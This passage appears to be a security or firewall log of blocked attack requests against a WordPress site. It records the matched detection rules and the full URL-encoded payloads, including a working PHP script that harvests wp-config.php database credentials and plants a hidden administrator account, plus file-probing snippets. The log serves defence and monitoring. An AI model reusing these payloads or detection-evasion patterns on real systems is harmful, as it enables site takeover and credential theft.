%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 17:27:46","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> KFgqXp:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\ncontent-length:12663\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-fetch-mode:navigate\n\nKFgqXp=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 17:43:36","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> EZ:%3C%3Fphp%20%20%20%24path%20%3D%20%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%3B%20die%28%22%3Cfs%3E%22.filesize%28%24path%29.%22%3C\/fs%3E%3Cp%3E%7B%24path%7D%3C\/p%3E%22%29%3B","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-length:250\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEIbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\nsec-fetch-site:none\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept:*\/*\naccept-encoding:gzip,deflate\n\nEZ=%3C%3Fphp%20%20%20%24path%20%3D%20%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%3B%20die%28%22%3Cfs%3E%22.filesize%28%24path%29.%22%3C\/fs%3E%3Cp%3E%7B%24path%7D%3C\/p%3E%22%29%3B"]
["2026-04-20 17:43:40","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> rJ:%3C%3Fphp%20%20%20%24path%20%3D%20%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%3B%20die%28%22%3Cfs%3E%22.filesize%28%24path%29.%22%3C\/fs%3E%3Cp%3E%7B%24path%7D%3C\/p%3E%22%29%3B","POST \/ HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-length:250\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpxbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google 